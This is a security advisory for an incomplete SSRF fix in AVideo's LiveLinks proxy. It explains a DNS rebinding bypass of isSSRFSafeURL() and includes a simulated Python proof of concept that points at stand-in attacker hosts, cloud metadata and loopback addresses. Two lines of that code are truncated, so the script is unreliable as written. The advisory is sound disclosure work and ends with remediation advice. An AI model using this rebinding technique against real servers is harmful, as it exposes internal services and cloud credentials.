Incomplete fix for CVE-2026-33039: SSRF in AVideo

Moderate **DanielnetoDotCom** published **GHSA-793q-xgj6-7frp** last week

Software

AVideo

Affected versions	Patched versions
< commit 0e56382921fc71e64829cd1ec35f04e338c70917	>= commit 0e56382921fc71e64829cd1ec35f04e338c70917

Description

Summary

The incomplete SSRF fix in AVideo's LiveLinks proxy adds `isSSRFSafeURL()` validation but leaves DNS TOCTOU vulnerabilities where DNS rebinding between validation and the actual HTTP request redirects traffic to internal endpoints.

Affected Package

- **Ecosystem:** Other
- **Package:** AVideo
- **Affected versions:** < commit `0e56382`
- **Patched versions:** >= commit `0e56382`

Severity

Medium

CWE

CWE-918 — Server-Side Request Forgery (SSRF)

Details

The `plugin/LiveLinks/proxy.php` endpoint proxies live stream URLs. The fix adds `isSSRFSafeURL()` check on the initial URL, redirect URL validation, and `follow_location=0` in the `get_headers()` context. However, multiple DNS TOCTOU vulnerabilities remain.

For the initial URL, `isSSRFSafeURL()` resolves DNS once for validation, but `get_headers()` resolves DNS again independently. A DNS rebinding attack with TTL=0 returns a safe external IP for the first resolution and an internal IP for the second.

The same TOCTOU exists for redirect URLs: `isSSRFSafeURL()` validates the redirect target (first resolution returns a safe IP), then `fakeBrowser()` makes the actual request (second resolution returns an internal IP).

Additionally, even with `follow_location=0`, `get_headers()` still sends an HTTP request that can probe internal services via DNS rebinding, and multiple `Location` headers in a response cause `filter_var()` to receive an array instead of a string, resulting in a fall-through to the else branch.

PoC

```
#!/usr/bin/env python3
"""
CVE-2026-33039 - AVideo LiveLinks Proxy SSRF via DNS Rebinding
"""

import re
import sys

class DNSResolver:
    def __init__(self):
        self._call_count = {}

    def resolve(self, host):
        if host not in self._call_count:
            self._call_count[host] = 0
        self._call_count[host] += 1

        if host == "rebind.attacker.com":
            return "93.184.216.34" if self._call_count[host] == 1 else "169.254.169.254"
        if host == "rebind-loopback.attacker.com":
            return "93.184.216.34" if self._call_count[host] == 1 else "127.0.0.1"

        static = {"attacker.com": "93.184.216.34", "example.com": "93.184.216.34", "loca
        return static.get(host, None)

    def reset(self):
        self._call_count = {}

dns = DNSResolver()

def php_parse_url_host(url):
    match = re.match(r'https?://([^/:?#]+)', url, re.IGNORECASE)
```

```
    return match.group(1).lower() if match else None

def php_filter_validate_ip(s):
    if re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', s):
        return all(0 <= int(p) <= 255 for p in s.split('.'))
    return False

def is_ssrf_safe_url(url):
    if not url: return False, "empty"
    host = php_parse_url_host(url)
    if not host: return False, "no host"

    for pat in ['localhost', '127.0.0.1', '::1', '0.0.0.0']:
        if host == pat: return False, f"blocked: {host}"

    ip = host
    if not php_filter_validate_ip(host):
        resolved = dns.resolve(host)
        if not resolved: return False, "DNS failed"
        ip = resolved

    for pattern in [r'^10\.', r'^172\.(1[6-9]|2\d|3[0-1])\.', r'^192\.168\.', r'^127\.',
        if re.match(pattern, ip): return False, f"blocked: {ip}"

    return True, f"allowed ({ip})"

def main():
    print("=" * 72)
    print("CVE-2026-33039 - AVideo LiveLinks Proxy SSRF PoC")
    print("=" * 72)

    vuln_count = 0

    print("\n[TEST 1] DNS rebinding on initial URL")
    dns.reset()
    safe, reason = is_ssrf_safe_url("http://rebind.attacker.com/meta-data/")
    actual_ip = dns.resolve("rebind.attacker.com")
    print(f"  isSSRFSafeURL: safe={safe}, reason={reason}")
    print(f"  Actual request goes to: {actual_ip}")
    if safe and actual_ip == "169.254.169.254":
        print("  => BYPASS!")
        vuln_count += 1

    print("\n[TEST 2] DNS rebinding on redirect URL")
    dns.reset()
    safe_r, _ = is_ssrf_safe_url("http://rebind-loopback.attacker.com/admin/")
    final_ip = dns.resolve("rebind-loopback.attacker.com")
    print(f"  isSSRFSafeURL: safe={safe_r}")
    print(f"  fakeBrowser() goes to: {final_ip}")
    if safe_r and final_ip == "127.0.0.1":
        print("  => BYPASS!")
        vuln_count += 1

    print("\n[TEST 3] get_headers() side-effect")
    dns.reset()
    safe, _ = is_ssrf_safe_url("http://rebind.attacker.com:8080/probe")
```

```
    side_ip = dns.resolve("rebind.attacker.com")
    print(f"  isSSRFSafeURL passed: {safe}")
    print(f"  get_headers() reached: {side_ip}")
    if safe and side_ip == "169.254.169.254":
        print("  => BYPASS!")
        vuln_count += 1

    print(f"\nBypass vectors: {vuln_count}")
    if vuln_count > 0:
        print("\nVULNERABILITY CONFIRMED")
        return 0
    return 1

if __name__ == "__main__":
    sys.exit(main())
```

Steps to reproduce:

1. Run `python3 poc.py`.
2. Observe that all three DNS rebinding bypass vectors succeed.

Expected output:

```
VULNERABILITY CONFIRMED
DNS TOCTOU bypass vectors succeed on initial URL, redirect URL, and get_headers()
side-effect paths.
```

Impact

DNS rebinding allows an attacker to bypass SSRF validation and make the server send requests to internal services, cloud metadata endpoints, and other protected resources.

Suggested Remediation

Pin DNS resolution: resolve the hostname once, validate the IP, and use the resolved IP for the actual request via `CURLOPT_RESOLVE` or equivalent. Remove the `get_headers()` call. Block redirects entirely or re-validate using pinned DNS after each redirect.

References

- Incomplete fix commit: `0e56382`
- Original CVE: CVE-2026-33039

Severity

Moderate

CVE ID

CVE-2026-41055

Weaknesses

▶ CWE-918